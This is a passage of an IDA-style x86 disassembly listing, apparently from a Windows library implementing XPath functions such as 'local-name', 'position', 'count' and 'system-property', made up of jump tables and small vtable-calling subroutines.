loc_69B6C454:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		test	esi, esi	; jumptable 69B6C3AD case 9
		jz	loc_69B6C579	; default
		mov	eax, [esi]
		push	ebx
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	dword ptr [eax+88h]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+0Ch], eax
		jnz	short loc_69B6C4D7
		xor	edi, edi
		cmp	[ebp+8], edi
		jnz	short loc_69B6C48C
		push	edi
		push	0C00CE389h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B6C48C:				; CODE XREF: sub_69B6C1E9+28Ej
		push	edi
		push	edi
		call	sub_69B664E8
		lea	edi, [eax+10h]
		mov	eax, [esi]
		mov	ebx, [edi]
		mov	ecx, esi
		call	dword ptr [eax+84h]
		mov	ecx, edi
		push	eax
		call	dword ptr [ebx+80h]
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		call	dword ptr [eax+8Ch]
		mov	esi, [ebp+8]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		call	dword ptr [eax+88h]
		mov	[ebp+8], eax
		fild	dword ptr [ebp+8]
		jmp	short loc_69B6C4F4
; ---------------------------------------------------------------------------


loc_69B6C4D7:				; CODE XREF: sub_69B6C1E9+287j
		fild	dword ptr [ebp+0Ch]
		jmp	short loc_69B6C4F4
; ---------------------------------------------------------------------------


loc_69B6C4DC:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		and	dword ptr [ebp+8], 0 ; jumptable 69B6C3AD case 5


loc_69B6C4E0:				; CODE XREF: sub_69B6C1E9+306j
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		test	eax, eax
		jz	short loc_69B6C4F1
		inc	dword ptr [ebp+8]
		jmp	short loc_69B6C4E0
; ---------------------------------------------------------------------------


loc_69B6C4F1:				; CODE XREF: sub_69B6C1E9+301j
		fild	dword ptr [ebp+8]


loc_69B6C4F4:				; CODE XREF: sub_69B6C1E9+206j
					; sub_69B6C1E9+247j ...
		mov	eax, [ebp+14h]
		fstp	qword ptr [eax+8]
		mov	dword ptr [eax], 3
		jmp	short loc_69B6C579 ; default
; ---------------------------------------------------------------------------


loc_69B6C502:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		mov	eax, [ebx]	; jumptable 69B6C3AD case 7
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	loc_69B6C40D
		mov	ecx, [eax+10h]
		test	ecx, ecx
		jz	loc_69B6C40D
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B6C54F
; ---------------------------------------------------------------------------


loc_69B6C523:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		mov	eax, [ebx]	; jumptable 69B6C3AD case 10
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	loc_69B6C40D
		mov	eax, [eax+8]
		test	eax, eax
		jz	loc_69B6C40D
		mov	eax, [eax+14h]
		test	eax, eax
		jz	loc_69B6C40D


loc_69B6C548:				; CODE XREF: sub_69B6C1E9+214j
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]


loc_69B6C54F:				; CODE XREF: sub_69B6C1E9+1D6j
					; sub_69B6C1E9+338j
		push	eax


loc_69B6C550:				; CODE XREF: sub_69B6C1E9+229j
		mov	ecx, [ebp+14h]
		call	sub_69B48684
		jmp	short loc_69B6C579 ; default
; ---------------------------------------------------------------------------


loc_69B6C55A:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		test	esi, esi	; jumptable 69B6C3AD case 6
		jz	short loc_69B6C579 ; default
		mov	eax, [esi]
		push	ebx
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	dword ptr [eax+58h]
		test	al, al
		jz	short loc_69B6C579 ; default
		mov	ecx, [ebp+14h]
		mov	dword ptr [ecx], 1
		mov	[ecx+8], al


loc_69B6C579:				; CODE XREF: sub_69B6C1E9+1B1j
					; sub_69B6C1E9+1BEj ...
		pop	esi		; default
		pop	ebx


loc_69B6C57B:				; CODE XREF: sub_69B6C1E9+ABj
					; sub_69B6C1E9+176j
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
off_69B6C580	dd offset loc_69B6C3B4	; DATA XREF: sub_69B6C1E9+1C4r
		dd offset loc_69B6C3C4	; jump table for switch	statement
		dd offset loc_69B6C3DC
		dd offset loc_69B6C3F4
		dd offset loc_69B6C417
		dd offset loc_69B6C4DC
		dd offset loc_69B6C55A
		dd offset loc_69B6C502
		dd offset loc_69B6C435
		dd offset loc_69B6C454
		dd offset loc_69B6C523
; ---------------------------------------------------------------------------


loc_69B6C5AC:				; DATA XREF: .text:69B15D24o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		sub	eax, 4
		push	edi
		mov	edi, [esp+8+arg_4]
		jz	short loc_69B6C5FA
		dec	eax
		dec	eax
		jz	short loc_69B6C5F3
		dec	eax
		dec	eax
		jz	short loc_69B6C5EC
		dec	eax
		jz	short loc_69B6C5E5
		dec	eax
		jz	short loc_69B6C5DE
		dec	eax
		jz	short loc_69B6C5D7
		dec	eax
		jnz	short loc_69B6C612
		mov	eax, offset off_69B6C6A8
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5D7:				; CODE XREF: sub_69B6C1E9+3E2j
		mov	eax, offset off_69B6C648
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5DE:				; CODE XREF: sub_69B6C1E9+3DFj
		mov	eax, offset off_69B6C678
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5E5:				; CODE XREF: sub_69B6C1E9+3DCj
		mov	eax, offset off_69B6C688
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5EC:				; CODE XREF: sub_69B6C1E9+3D9j
		mov	eax, offset off_69B6C658
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5F3:				; CODE XREF: sub_69B6C1E9+3D5j
		mov	eax, offset off_69B6C698
		jmp	short loc_69B6C5FF
; ---------------------------------------------------------------------------


loc_69B6C5FA:				; CODE XREF: sub_69B6C1E9+3D1j
		mov	eax, offset off_69B6C668


loc_69B6C5FF:				; CODE XREF: sub_69B6C1E9+3ECj
					; sub_69B6C1E9+3F3j ...
		mov	edx, [edi]
		push	eax
		mov	eax, dword_69B9B308
		push	dword ptr [eax+8]
		mov	ecx, edi
		call	dword ptr [edx+0ACh]


loc_69B6C612:				; CODE XREF: sub_69B6C1E9+3E5j
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B6C625
		mov	eax, [ecx]
		push	edi
		push	dword ptr [esp+0Ch+arg_0]
		call	dword ptr [eax+5Ch]
		jmp	short loc_69B6C63D
; ---------------------------------------------------------------------------


loc_69B6C625:				; CODE XREF: sub_69B6C1E9+42Ej
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B6C63D
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		push	edi
		push	dword ptr [esp+0Ch+arg_0]
		mov	ecx, eax
		call	dword ptr [edx+5Ch]


loc_69B6C63D:				; CODE XREF: sub_69B6C1E9+43Aj
					; sub_69B6C1E9+441j
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		align 8
off_69B6C648	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5D7o
					; .data:69B9A388o
		align 10h
		dd 0Ah
		dd offset aLocalName_0	; "local-name"
off_69B6C658	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5ECo
					; .data:69B9A37Co
		align 10h
		dd 0Dh
		dd offset aNamespaceUri_0 ; "namespace-uri"
off_69B6C668	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5FAo
		align 10h
		dd 4
		dd offset aName_4	; "name"
off_69B6C678	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5DEo
		align 10h
		dd 4
		dd offset aLast_0	; "last"
off_69B6C688	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5E5o
		align 10h
		dd 8
		dd offset aPosition_0	; "position"
off_69B6C698	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9:loc_69B6C5F3o
		align 10h
		dd 5
		dd offset aCount_0	; "count"
off_69B6C6A8	dd offset off_69B17D10	; DATA XREF: sub_69B6C1E9+3E7o
		align 10h
		dd 0Fh
		dd offset aSystemProper_0 ; "system-property"
aLocalName_0:				; DATA XREF: sub_69B6C1E9+46Bo
		unicode	0, <local-name>,0
		align 10h
aNamespaceUri_0:			; DATA XREF: sub_69B6C1E9+47Bo
		unicode	0, <namespace-uri>,0
aName_4:				; DATA XREF: sub_69B6C1E9+48Bo
		unicode	0, <name>,0
		align 4
aLast_0:				; DATA XREF: sub_69B6C1E9+49Bo
		unicode	0, <last>,0
		align 4
aPosition_0:				; DATA XREF: sub_69B6C1E9+4ABo
		unicode	0, <position>,0
		align 4
aCount_0:				; DATA XREF: sub_69B6C1E9+4BBo
		unicode	0, <count>,0
		align 8
aSystemProper_0:			; DATA XREF: sub_69B6C1E9+4CBo
		unicode	0, <system-property>,0
; ---------------------------------------------------------------------------


loc_69B6C748:				; DATA XREF: .text:69B15CBCo
		sub	ecx, 8
		jmp	loc_69B6C1F6
; ---------------------------------------------------------------------------


loc_69B6C750:				; CODE XREF: sub_69B6C1E9+3j
					; DATA XREF: .text:69B15CF4o
		push	esi
		mov	esi, ecx
		call	sub_69B6C76B
		test	[esp+4+arg_0], 1
		jz	short loc_69B6C765
		push	esi
		call	sub_69B1829F


loc_69B6C765:				; CODE XREF: sub_69B6C1E9+574j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6C1E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C76B	proc near		; CODE XREF: sub_69B6C1E9+56Ap
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B653F7
sub_69B6C76B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C788	proc near		; CODE XREF: sub_69B631EE+BCp
					; sub_69B6349E+23Fp
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6C79A
		mov	ecx, eax
		jmp	sub_69B15C30
; ---------------------------------------------------------------------------


loc_69B6C79A:				; CODE XREF: sub_69B6C788+9j
		xor	eax, eax
		retn	8
sub_69B6C788	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C79F	proc near		; CODE XREF: .text:69B65490j
					; DATA XREF: .text:69B1979Co
		mov	eax, offset off_69B29C74
		retn
sub_69B6C79F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C7A5	proc near		; CODE XREF: sub_69B6CA09+4j
					; DATA XREF: .text:69B12C00o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 1
		jnz	short loc_69B6C7D7
		mov	eax, [esi]
		call	dword ptr [eax+3Ch]
		cmp	eax, [esp+4+arg_0]
		jz	short loc_69B6C7D7
		push	[esp+4+arg_0]
		lea	eax, [esi-8]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		push	eax
		call	sub_69B6589E
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		jmp	short loc_69B6C7E0
; ---------------------------------------------------------------------------


loc_69B6C7D7:				; CODE XREF: sub_69B6C7A5+7j
					; sub_69B6C7A5+12j
		lea	eax, [esi-8]
		neg	eax
		sbb	eax, eax
		and	eax, esi


loc_69B6C7E0:				; CODE XREF: sub_69B6C7A5+30j
		pop	esi
		retn	4
sub_69B6C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C7E4	proc near		; DATA XREF: .text:69B12C08o
					; .text:69B12D00o ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		lea	eax, [ecx-8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		push	eax
		call	sub_69B6DF25
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B6C7E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C803	proc near		; CODE XREF: sub_69B65510+4p
					; DATA XREF: .text:69B12C0Co
		mov	eax, 300h
		retn
sub_69B6C803	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C809	proc near		; DATA XREF: .text:69B12C1Co
					; .text:69B12D14o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		lea	esi, [ecx-8]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		xor	edi, edi
		call	dword ptr [eax+38h]
		test	eax, eax
		jz	short loc_69B6C848
		mov	ecx, [esp+8+arg_0]
		push	1
		push	edi
		push	edi
		push	eax
		push	edi
		call	sub_69B3D2F2
		mov	edi, eax
		mov	eax, [esi]
		push	edi
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	ecx, [esp+8+arg_4]
		test	ecx, ecx
		jz	short loc_69B6C848
		mov	eax, [ecx]
		push	0
		push	edi
		call	dword ptr [eax+7Ch]


loc_69B6C848:				; CODE XREF: sub_69B6C809+10j
					; sub_69B6C809+35j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B6C809	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C84F	proc near		; CODE XREF: sub_69B65480+3j
					; sub_69B6CFE2+7p ...
		push	esi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+0Ch]
		mov	[eax+0Ch], ecx
		add	eax, 8
		pop	esi
		retn
sub_69B6C84F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C869	proc near		; CODE XREF: sub_69B6C893+Fp
					; sub_69B6D3CA+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B12BC0
		pop	edi
		mov	dword ptr [esi], offset	off_69B19780
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6C869	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C893	proc near		; DATA XREF: .text:69B29C78o
					; .text:69B6541Co ...
		push	10h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6C8A8
		push	0
		mov	ecx, eax
		call	sub_69B6C869
		retn
; ---------------------------------------------------------------------------


loc_69B6C8A8:				; CODE XREF: sub_69B6C893+9j
		xor	eax, eax
		retn
sub_69B6C893	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C8AB	proc near		; CODE XREF: sub_69B667E0+6p
					; sub_69B6A7B0+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		test	ebp, ebp
		mov	[esp+8+var_4], 300h
		jz	short loc_69B6C8FD
		push	edi
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jz	short loc_69B6C8FC
		push	ebx
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_69B6C8FB
		push	esi


loc_69B6C8CD:				; CODE XREF: sub_69B6C8AB+4Dj
		push	ebx
		mov	ecx, ebp
		call	sub_69B8A163
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B6C8F5
		push	esi
		mov	ecx, offset off_69B29C74
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B6C8F5
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		and	[esp+14h+var_4], eax


loc_69B6C8F5:				; CODE XREF: sub_69B6C8AB+2Ej
					; sub_69B6C8AB+3Dj
		inc	ebx
		cmp	ebx, edi
		jl	short loc_69B6C8CD
		pop	esi


loc_69B6C8FB:				; CODE XREF: sub_69B6C8AB+1Fj
		pop	ebx


loc_69B6C8FC:				; CODE XREF: sub_69B6C8AB+18j
		pop	edi


loc_69B6C8FD:				; CODE XREF: sub_69B6C8AB+10j
		mov	eax, [esp+8+var_4]
		pop	ebp
		pop	ecx
		retn	4
sub_69B6C8AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6C906	proc near		; DATA XREF: .text:69B12C18o
					; .text:69B15678o ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_C]
		xor	ebx, ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1C], bl
		call	dword ptr [eax+54h]
		cmp	[ebp+var_10], ebx
		jz	short loc_69B6C962
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_20]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_69B65333
		mov	esi, eax
		jmp	short loc_69B6C965
; ---------------------------------------------------------------------------


loc_69B6C962:				; CODE XREF: sub_69B6C906+2Fj
		or	esi, 0FFFFFFFFh


loc_69B6C965:				; CODE XREF: sub_69B6C906+5Aj
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B6C906	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C97D	proc near		; CODE XREF: sub_69B6D372+3j
					; .text:69B6D385j
					; DATA XREF: ...
		mov	eax, offset off_69B29C7C
		retn
sub_69B6C97D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C983	proc near		; DATA XREF: .text:69B12C84o
					; .text:69B12DCCo ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		or	dword ptr [esi+20h], 20h
		call	dword ptr [eax+3Ch]
		and	dword ptr [esi+20h], 0FFFFFFDFh
		pop	esi
		retn
sub_69B6C983	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C995	proc near		; CODE XREF: sub_69B68CF3+28j
					; DATA XREF: .text:69B12C88o ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B6C9C1
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		test	eax, eax
		jz	short loc_69B6C9C1
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+84h]


loc_69B6C9C1:				; CODE XREF: sub_69B6C995+Dj
					; sub_69B6C995+1Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B6C995	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9C6	proc near		; DATA XREF: .text:69B12C8Co
					; .text:69B12DD4o ...
		push	esi
		mov	esi, ecx


loc_69B6C9C9:				; CODE XREF: sub_69B6C9C6+Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+68h]
		test	eax, eax
		jnz	short loc_69B6C9C9
		pop	esi
		retn
sub_69B6C9C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9D6	proc near		; DATA XREF: .text:69B12C7Co
					; .text:69B12DC4o ...
		lea	eax, [ecx-10h]
		add	ecx, 0FFFFFFF8h
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_69B6C9D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9E3	proc near		; CODE XREF: sub_69B66638+12j
					; DATA XREF: .text:69B12F20o ...
		fld	ds:dbl_69B296F8
		retn
sub_69B6C9E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9EA	proc near		; CODE XREF: sub_69B66614+5j
					; sub_69B67BAE+8j ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn	4
sub_69B6C9EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9F1	proc near		; DATA XREF: .text:69B12CF0o
					; .text:69B12E38o ...
		mov	eax, [ecx+28h]
		and	al, 3
		neg	al
		sbb	eax, eax
		inc	eax
		retn
sub_69B6C9F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C9FC	proc near		; DATA XREF: .text:69B12CFCo
					; .text:69B12E44o ...
		lea	eax, [ecx-8]
		add	ecx, 8
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_69B6C9FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA09	proc near		; DATA XREF: .text:69B12CF8o
					; .text:69B12E40o ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+4], 2
		jnz	sub_69B6C7A5
		mov	eax, [esp+arg_0]
		mov	[ecx+2Ch], eax
		lea	eax, [ecx-8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B6CA09	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA26	proc near		; DATA XREF: .text:69B12CA8o
					; .text:69B12DF0o ...
		or	eax, 0FFFFFFFFh
		retn	8
sub_69B6CA26	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA2C	proc near		; CODE XREF: sub_69B66598+18p
					; sub_69B66598+46p ...

arg_8		= dword	ptr  0Ch

		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_69B6CA38
		mov	eax, [ecx]
		jmp	dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------


loc_69B6CA38:				; CODE XREF: sub_69B6CA2C+5j
		mov	eax, [esp+arg_8]
		retn	0Ch
sub_69B6CA2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA3F	proc near		; CODE XREF: sub_69B66626+5j
					; sub_69B6879D+5j
					; DATA XREF: ...
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_69B6CA4B
		mov	eax, [ecx]
		jmp	dword ptr [eax+50h]
; ---------------------------------------------------------------------------

locret_69B6CA4B:			; CODE XREF: sub_69B6CA3F+5j
		retn	4
sub_69B6CA3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA4E	proc near		; CODE XREF: sub_69B665E9+Aj
					; sub_69B665E9+10p ...
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		jz	short loc_69B6CA5C
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		jmp	short loc_69B6CA5E
; ---------------------------------------------------------------------------


loc_69B6CA5C:				; CODE XREF: sub_69B6CA4E+5j
		xor	eax, eax


loc_69B6CA5E:				; CODE XREF: sub_69B6CA4E+Cj
		test	eax, eax
		jz	short loc_69B6CA69
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+4Ch]
; ---------------------------------------------------------------------------


loc_69B6CA69:				; CODE XREF: sub_69B6CA4E+12j
		mov	eax, 30Fh
		retn
sub_69B6CA4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA6F	proc near		; DATA XREF: .text:69B12D58o
					; .text:69B12FE8o ...
		push	esi
		mov	esi, ecx
		xor	eax, eax
		cmp	dword ptr [esi+0Ch], 2
		jnz	short loc_69B6CA7D
		mov	[esi+2Ch], eax


loc_69B6CA7D:				; CODE XREF: sub_69B6CA6F+9j
		mov	ecx, [esi+14h]
		cmp	ecx, eax
		jz	short loc_69B6CA94
		test	byte ptr [esi+30h], 20h
		mov	eax, [ecx]
		jz	short loc_69B6CA91
		call	dword ptr [eax+64h]
		jmp	short loc_69B6CA94
; ---------------------------------------------------------------------------


loc_69B6CA91:				; CODE XREF: sub_69B6CA6F+1Bj
		call	dword ptr [eax+3Ch]


loc_69B6CA94:				; CODE XREF: sub_69B6CA6F+13j
					; sub_69B6CA6F+20j
		and	dword ptr [esi+30h], 0FFFFFFF7h
		pop	esi
		retn
sub_69B6CA6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CA9A	proc near		; DATA XREF: .text:69B12D08o
					; .text:69B12E50o ...

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	esi
		push	0
		push	[esp+8+arg_8]
		lea	esi, [ecx+8]
		push	[esp+0Ch+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+48h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		movzx	eax, al
		pop	esi
		retn	0Ch
sub_69B6CA9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CABD	proc near		; DATA XREF: .text:69B12D0Co
					; .text:69B12E54o ...

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		push	0
		push	[esp+0Ch+arg_8]
		mov	edi, ecx
		push	[esp+10h+arg_0]
		lea	esi, [edi+8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+48h]
		mov	ecx, [esp+8+arg_C]
		add	edi, 0FFFFFFF8h
		neg	edi
		sbb	edi, edi
		and	edi, esi
		push	edi
		call	sub_69B64115
		pop	edi
		pop	esi
		retn	10h
sub_69B6CABD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6CAED	proc near		; CODE XREF: sub_69B65B35+58p
					; DATA XREF: .text:69B12D54o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+14h]
		test	ecx, ecx
		jz	short loc_69B6CB3A
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+5Ch]
		mov	esi, eax
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_69B6CB39
		mov	ecx, [ebp+arg_0]
		push	1
		push	eax
		push	eax
		push	dword_69B9B440
		push	eax
		call	sub_69B3D2F2
		mov	edx, [ebx]
		push	0
		push	eax
		mov	ecx, ebx
		mov	[ebp+arg_4], eax
		call	dword ptr [edx+7Ch]
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+5Ch]


loc_69B6CB39:				; CODE XREF: sub_69B6CAED+1Dj
		pop	esi


loc_69B6CB3A:				; CODE XREF: sub_69B6CAED+Fj
		mov	eax, [edi]
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		pop	edi
		pop	ebx
		pop	ebp
		retn	8
sub_69B6CAED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CB4B	proc near		; CODE XREF: sub_69B6D1E0+42p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, ds:10h[ebx*4]
		push	eax
		mov	edi, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], ebx
		call	sub_69B19118
		push	0
		push	edi
		mov	dword ptr [esi], offset	off_69B13D68
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B6CB4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CB8A	proc near		; CODE XREF: sub_69B6CFE2+3Fp
					; sub_69B6D314+4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+30h]
		mov	ecx, [esp+4+arg_4]
		and	eax, 0FFFFFFF8h
		and	ecx, 3
		or	eax, ecx
		mov	[esi+30h], eax
		movzx	eax, [esp+4+arg_8]
		mov	[esi+20h], eax
		mov	[esi+1Ch], eax
		push	0
		add	esi, 28h
		push	esi
		call	sub_69B17320
		pop	esi
		retn	0Ch
sub_69B6CB8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CBC6	proc near		; CODE XREF: sub_69B660DF+1Cj
					; sub_69B66701+11j ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		lea	ecx, [esi+1Ch]
		call	sub_69B677FE
		and	dword ptr [esi+18h], 0
		push	0
		add	esi, 28h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B6CBC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CBEF	proc near		; DATA XREF: .text:69B12C58o
					; .text:69B12DA0o ...
